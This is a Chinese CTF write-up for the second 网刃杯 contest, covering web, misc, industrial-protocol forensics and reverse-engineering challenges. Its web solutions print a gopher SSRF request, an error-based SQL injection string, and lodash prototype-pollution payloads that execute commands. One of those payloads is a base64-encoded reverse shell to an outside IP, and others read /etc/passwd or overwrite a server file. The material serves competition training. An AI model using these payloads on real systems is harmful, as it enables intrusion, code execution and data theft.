本文来自“白帽子社区知识星球”
作者:WHT战队
WHT战队招新:
-
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
-
有半年以上CTF竞赛经验的。
-
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
-
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
-
Sign_in
读/etc/hosts
扫c段发现172.73.25.100存活,并开启了80,后面就是tw了
gopher%3A//172.73.25.100%3A80/_POST%2520/index.php%253Fa%253D11111%2520HTTP/1.1%250D%250AHost%253A%2520172.73.25.100%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AX-forwarded-for%253A%2520127.0.0.1%250D%250AReferer%253A%2520bolean.club%250D%250AContent-Length%253A%252036%250D%250A%250D%250Ab%253Dc384d200658f258e5b5c681bf0aa29a811%250D%250A
-
UPLOAD
文件名处fuzz单引号报错,并报sql语句,fuzz一下没什么过滤,就常规报错注入
因长度限制,分段读flag
1' and updatexml(1,concat(0x7e,substr((select flag from flag ),28,60),0x7e),0x7e) and '
-
ez_js
题目给了源码,本地用vscode搭个debug环境
cnpm init
cnpm intall
//node server.js
//launch.json
{
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "启动程序",
"skipFiles": [
"<node_internals>/**"
],
"program": "${workspaceFolder}\server.js"
}
]
}
lodash原型链污染
lodash.template模板注入
漏洞细节看这https://www.anquanke.com/post/id/248170#h3-7
原本payload如下,由于存在黑名单得bypass
{"__proto__":{"sourceURL":"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
空格
;
require
return
execSync
$
curl
echo
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('child_process').spawnSync('ping',['xxx:xxx']))})()"}}
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('child_process').exec('{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xNDAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}'))})()"}}
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('fs').writeFileSync('server.js','r000000'))})()"}}
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('fs').readFileSync('/etc/passwd','utf-8'))})()"}}
{"__proto__":{"sourceURL":"u000a(function(){console.log(2222)u000aconsole.log(111)})()"}}
最后没时间了 有点可惜
玩坏的winxp
vmdk
文件,用DiskGenius
打开,找到Administrator
用户的桌面的学习资料binwalk
分析meiren.png
,foremost
分离binwalk
分析,foremost
分离f1ag.png
QQ
有压缩包密码,但是在虚拟磁盘镜像中没有找到有安装过QQ
这个软件,猜测可能在线登录过,所以就找唯一安装的浏览器Firefox
的本地数据.db
文件都不是.db
文件,Navicat
无法建立连接,几个.sqlite
文件可以使用Navicat
建立连接,找了好久最终在places.sqlite
中找到qq账号xiaomin520
flag{this_is_what_u_want8}
easyiec
tcp contains "flag"
flag{e45y_1eci04}
科来网络分析系统
打开TCP非法校验
,应该是修改了这里flag{welcome_S7_world_xyp07}
tcp.stream eq 3
开始往后有flag的十六进制from binascii import *
'666c61677b7034757333313576337279316e7433726573746963397d' flag=
unhexlify(flag)
b'flag{p4us315v3ry1nt3restic9}'
pcapng
文件,修改文件头前四个字节modbus.data
锁定转速数据的包10000
以上的数据包data
是十六进制,转化一下十进制flag{1008668156}
Re_function
两个文件,一个exe,一个elf。
先看function1
// positive sp value has been detected, the output may be wrong!
int __usercall sub_401019@<eax>(_BYTE *a1@<eax>, int a2@<ebp>)
{
FILE *v2; // eax
int v3; // eax
int i; // ecx
int v5; // ecx
char v6; // dl
char v7; // bl
*a1 |= (unsigned __int8)a1;
*(_OWORD *)(a2 - 32) = 0i64;
*(_QWORD *)(a2 - 16) = 0i64;
*(_DWORD *)(a2 - 8) = 0;
*(_OWORD *)(a2 - 60) = xmmword_402120;
*(_DWORD *)(a2 - 44) = 1919318081;
*(_DWORD *)(a2 - 40) = 1314814017;
*(_DWORD *)(a2 - 36) = 1024348765;
puts("please input flag: ");
v2 = _acrt_iob_func(0);
fgets((char *)(a2 - 32), 28, v2);
v3 = strlen((const char *)(a2 - 32));
for ( i = 0; i < v3; i += 2 )
*(_BYTE *)(a2 + i - 32) ^= 0x37u;
v5 = 0;
if ( v3 <= 0 )
goto LABEL_7;
do
{
v6 = *(_BYTE *)(a2 + v5 - 60);
v7 = *(_BYTE *)(a2 + v5++ - 32);
}
while ( v5 < v3 );
if ( v7 == v6 )
puts("Get!!!");
else
LABEL_7:
puts("Error!!!");
return 0;
}
隔一个异或
x = [100, 113, 84, 84, 100, 120, 116, 120, 100, 65,
64, 72, 112, 109, 24, 74, 65, 120, 102, 114,
65, 120, 94, 78, 93, 82, 14, 61]
flag=''
for i in range(len(x)):
if i%2==0:
flag+=chr(x[i]^0x37)
else:
flag+=chr(x[i])
print(flag)
#SqcTSxCxSAwHGm/JvxQrvxiNjR9=
再看function2
_BYTE *__fastcall sub_func2(const char *a1)
{
int v2; // [rsp+18h] [rbp-28h]
int v3; // [rsp+1Ch] [rbp-24h]
__int64 v4; // [rsp+20h] [rbp-20h]
signed __int64 v5; // [rsp+30h] [rbp-10h]
_BYTE *v6; // [rsp+38h] [rbp-8h]
v5 = strlen(a1);
if ( v5 % 3 )
v4 = 4 * (v5 / 3 + 1);
else
v4 = 4 * (v5 / 3);
v6 = malloc(v4 + 1);
v6[v4] = 0;
v2 = 0;
v3 = 0;
while ( v2 < v4 - 2 )
{
v6[v2] = aFevykw6a0ldios[(unsigned __int8)a1[v3] >> 2];
v6[v2 + 1] = aFevykw6a0ldios[(16 * (a1[v3] & 3)) | ((unsigned __int8)a1[v3 + 1] >> 4)];
v6[v2 + 2] = aFevykw6a0ldios[(4 * (a1[v3 + 1] & 0xF)) | ((unsigned __int8)a1[v3 + 2] >> 6)];
v6[v2 + 3] = aFevykw6a0ldios[a1[v3 + 2] & 0x3F];
v3 += 3;
v2 += 4;
}
if ( v5 % 3 == 1 )
{
v6[v2 - 2] = 61;
v6[v2 - 1] = 61;
}
else if ( v5 % 3 == 2 )
{
v6[v2 - 1] = 61;
}
return v6;
}
简单的base64换表加密。
#python3
import base64
import string
def BASE64(cipher,string1):
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
return (base64.b64decode(cipher.translate(str.maketrans(string1,string2))))
cipher = "SqcTSxCxSAwHGm/JvxQrvxiNjR9="
string1 = "FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+"
print(BASE64(cipher,string1))
#b'flag{we1come_t0_wrb}'
freestyle
int __cdecl main(int argc, const char **argv, const char **envp)
{
fun1(argc, argv, envp);
fun2();
puts("nyes!!!");
puts("flag is in md5 format");
return 0;
}
两个fun fun1
__int64 fun1()
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to Alaska!!!");
puts("please input key: ");
fgets(s, 20, stdin);
if ( 4 * (3 * atoi(s) / 9 - 9) != 4400 )
exit(0);
puts("ok,level_1 over!nn");
return 1LL;
}
fun2
__int64 fun2()
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to Paradise Lost!!!");
puts("The code value is the smallest divisible");
puts("please input key: ");
fgets(s, 20, stdin);
if ( 2 * (atoi(s) % 56) != 98 )
exit(0);
puts("ok,level_2 over!");
return 1LL;
}
两个简单方程
4 * (3 * atoi(s) / 9 - 9) == 4400
2 * (atoi(s) % 56) == 98
同时,第二个数提示"The code value is the smallest divisible" 所以解得第一个是3327,第二个是105
flag为flag{md5(3327105)}
ez_algorithm
主加密函数encryption
char *__fastcall encryption(char *a1)
{
int v1; // eax
char v2; // al
char v3; // al
__int64 v4; // kr00_8
char v5; // al
char v6; // al
int v7; // eax
char v8; // al
char v9; // al
char v10; // al
char v11; // al
char v12; // al
size_t v13; // rbx
char v15[1012]; // [rsp+20h] [rbp-60h] BYREF
int v16; // [rsp+414h] [rbp+394h]
__int64 v17; // [rsp+418h] [rbp+398h]
__int64 v18; // [rsp+420h] [rbp+3A0h]
int v19; // [rsp+42Ch] [rbp+3ACh]
char *v20; // [rsp+430h] [rbp+3B0h]
char *v21; // [rsp+438h] [rbp+3B8h]
v18 = xyp2();
v17 = xyp3();
v21 = v15;
v20 = a1;
v19 = 0;
v16 = 1;
while ( 1 )
{
v13 = v19;
if ( v13 >= strlen(a1) )
return v15;
if ( *v20 <= 64 || *v20 > 90 )
{
if ( *v20 <= 96 || *v20 > 122 )
{
if ( *v20 == 95 )
{
switch ( v16 + rand() % 7 )
{
case 0:
*v21 = 58;
break;
case 1:
*v21 = 38;
break;
case 2:
*v21 = 43;
break;
case 3:
*v21 = 42;
break;
case 4:
*v21 = 92;
break;
case 5:
*v21 = 63;
break;
case 6:
*v21 = 36;
break;
case 7:
*v21 = 35;
break;
default:
break;
}
}
else if ( *v20 <= 47 || *v20 > 57 )
{
*v21 = *v20;
}
else
{
v12 = encryption2(*v20);
*v21 = v12;
}
}
else
{
v7 = v19 % 4;
if ( v19 % 4 == 1 )
{
v9 = encryption2(*(_BYTE *)((*v20 - 97) * (v19 % 4) + v18));
*v21 = v9;
}
else if ( v7 > 1 )
{
if ( v7 == 2 )
{
v10 = encryption2(*(_BYTE *)(((*v20 - 97) ^ (v19 % 4)) + v18));
*v21 = v10;
}
else if ( v7 == 3 )
{
v11 = encryption2(*(_BYTE *)(*v20 - 97 + v19 % 4 + v18));
*v21 = v11;
}
}
else if ( !v7 )
{
v8 = encryption2(*(_BYTE *)(*v20 - 97 - v19 % 4 + v18));
*v21 = v8;
}
}
}
else
{
v1 = v19 % 4;
if ( v19 % 4 == 1 )
{
v3 = encryption2(*(_BYTE *)(*v20 - 65 + v19 % 4 + v17));
*v21 = v3;
}
else if ( v1 > 1 )
{
if ( v1 == 2 )
{
v4 = v19 * (*v20 - 65);
v5 = encryption2(*(_BYTE *)((((HIDWORD(v4) >> 30) + (unsigned __int8)v19 * (*v20 - 65)) & 3)
- (HIDWORD(v4) >> 30)
+ v17));
*v21 = v5;
}
else if ( v1 == 3 )
{
v6 = encryption2(*(_BYTE *)(((*v20 - 65) ^ (v19 % 4)) + v17));
*v21 = v6;
}
}
else if ( !v1 )
{
v2 = encryption2(*(_BYTE *)(*v20 - 65 - v19 % 4 + v17));
*v21 = v2;
}
}
++v19;
++v20;
++v21;
}
}
encryption2
__int64 __fastcall encryption2(char a1)
{
unsigned __int8 v2; // [rsp+30h] [rbp+10h]
v2 = a1;
if ( a1 > 64 && a1 <= 90 )
return (unsigned __int8)encryption3(a1 + 32);
if ( a1 > 96 && a1 <= 122 )
return (unsigned __int8)encryption3(a1 - 32);
if ( a1 > 47 && a1 <= 57 )
v2 = encryption3(a1);
return v2;
}
encryption3
__int64 __fastcall encryption3(char a1)
{
unsigned __int8 v2; // [rsp+10h] [rbp+10h]
v2 = a1;
if ( a1 > 64 && a1 <= 70 || a1 > 96 && a1 <= 102 )
return (unsigned __int8)(a1 + 20);
if ( a1 > 84 && a1 <= 90 || a1 > 116 && a1 <= 122 )
return (unsigned __int8)(a1 - 20);
if ( a1 > 71 && a1 <= 77 || a1 > 103 && a1 <= 109 )
return (unsigned __int8)(a1 + 6);
if ( a1 > 77 && a1 <= 83 || a1 > 109 && a1 <= 115 )
return (unsigned __int8)(a1 - 6);
if ( a1 == 71 || a1 == 103 )
return (unsigned __int8)(a1 + 13);
if ( a1 == 84 || a1 == 116 )
return (unsigned __int8)(a1 - 13);
if ( a1 > 47 && a1 <= 57 )
v2 = 105 - a1;
return v2;
}
可以发现,后两个加密函数同时也是解密函数 直接分析第一个
分析可以得到当输入字符为小写时
v1 = v19 % 4;
if ( v19 % 4 == 1 )
{
v3 = encryption2(*(_BYTE *)(*v20 - 65 + v19 % 4 + v17));
*v21 = v3;
}
else if ( v1 > 1 )
{
if ( v1 == 2 )
{
v4 = v19 * (*v20 - 65);
v5 = encryption2(*(_BYTE *)((((HIDWORD(v4) 30) + (unsigned __int8)v19 * (*v20 - 65)) & 3)
- (HIDWORD(v4) 30)
+ v17));
*v21 = v5;
}
else if ( v1 == 3 )
{
v6 = encryption2(*(_BYTE *)(((*v20 - 65) ^ (v19 % 4)) + v17));
*v21 = v6;
}
}
else if ( !v1 )
{
v2 = encryption2(*(_BYTE *)(*v20 - 65 - v19 % 4 + v17));
*v21 = v2;
}
当输入字符为大写时
v7 = v19 % 4;
if ( v19 % 4 == 1 )
{
v9 = encryption2(*(_BYTE *)((*v20 - 97) * (v19 % 4) + v18));
v9; =
}
else if ( v7 > 1 )
{
if ( v7 == 2 )
{
v10 = encryption2(*(_BYTE *)(((*v20 - 97) ^ (v19 % 4)) + v18));
v10; =
}
else if ( v7 == 3 )
{
v11 = encryption2(*(_BYTE *)(*v20 - 97 + v19 % 4 + v18));
v11; =
}
}
else if ( !v7 )
{
v8 = encryption2(*(_BYTE *)(*v20 - 97 - v19 % 4 + v18));
v8; =
}
分别从对输入字符减去97(65),再+-*^(下标%4),取v18,v17中的字符,再进行加密 当输入字符为数字时,直接进行加密
当输入字符为‘_’时,随机生成8个字符中的一个,这里的Switch有坑。
当输入字符为其他时不变
于是得到解密脚本
v18='ckagevdxizblqnwtmsrpufyhoj'
v17='TMQZWKGOIAGLBYHPCRJSUXEVND'
c = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'
v = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n#}'
'''
if s <= 47 or s >57:
flag+=chr(s)
if s in ll:
flag+='_'
'''
lll=[58,38,43,42,92,63,36,35]
def decryption3(a1):
v2 = a1
if ( a1 > 64 and a1 <= 70 or a1 > 96 and a1 <= 102 ):
return (a1 + 20)
if ( a1 > 84 and a1 <= 90 or a1 > 116 and a1 <= 122 ):
return (a1 - 20)
if ( a1 > 71 and a1 <= 77 or a1 > 103 and a1 <= 109 ):
return (a1 + 6)
if ( a1 > 77 and a1 <= 83 or a1 > 109 and a1 <= 115 ):
return (a1 - 6)
if ( a1 == 71 or a1 == 103 ):
return (a1 + 13)
if ( a1 == 84 or a1 == 116 ):
return (a1 - 13)
if ( a1 > 47 and a1 <= 57 ):
v2 = 105 - a1;
return v2;
def decryption2(a1):
v2 = a1;
if ( a1 > 64 and a1 <= 90 ):
return decryption3(a1 + 32)
if ( a1 > 96 and a1 <= 122 ):
return decryption3(a1 - 32)
if ( a1 > 47 and a1 <= 57 ):
v2 = decryption3(a1)
return v2
def decryption(c,i):
ll=[]
if ord(c) in lll:
return ord('_')
if ord(c)>=48 and ord(c)<=57:
return decryption2(ord(c))
if ord(c)>122:
return ord(c)
if ord(c) >=65 and ord(c)<=90:
m = chr(decryption2(ord(c)))
if i%4 == 1:
ll.append(v18.find(m))
if i%4 == 2:
ll.append(v18.find(m)^2)
if i%4 == 3:
ll.append(v18.find(m)-3)
if i%4 == 0:
ll.append(v18.find(m))
return (ll[0]+97)
if ord(c) >=97 and ord(c)<=122:
m = chr(decryption2(ord(c)))
if i%4 == 1:
ll.append(v17.find(m)-1)
if i%4 == 2:
ll.append(v17.find(m)//2)
if i%4 == 3:
ll.append(v17.find(m)^3)
if i%4 == 0:
ll.append(v17.find(m))
return (ll[0]+65)
x = []
for i in range(len(c)):
x.append(decryption(c[i],i))
flag=''
for k in x:
flag+=chr(k)
print(flag)
解得flag为flag{w3Lc0mE_t0_3NcrYPti0N_} 但提交不对,回去看比较的密文
'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'
倒数第二个字符是:回看函数里的switch
switch ( v16 + rand() % 7 )
{
case 0:
*v21 = 58;
break;
case 1:
*v21 = 38;
break;
case 2:
*v21 = 43;
break;
case 3:
*v21 = 42;
break;
case 4:
*v21 = 92;
break;
case 5:
*v21 = 63;
break;
case 6:
*v21 = 36;
break;
case 7:
*v21 = 35;
break;
default:
break;
}
这里的v16=1,所以无论如何不能到case 0,而case 0对应的就是:,因此倒数第二个字符应该是:不变。于是得到正确flag
flag{w3Lc0mE_t0_3NcrYPti0N:}
定时启动
-
按提示在09:09:09运行程序即可
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
原文始发于微信公众号(白帽子社区):第二届网刃杯网络安全大赛WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论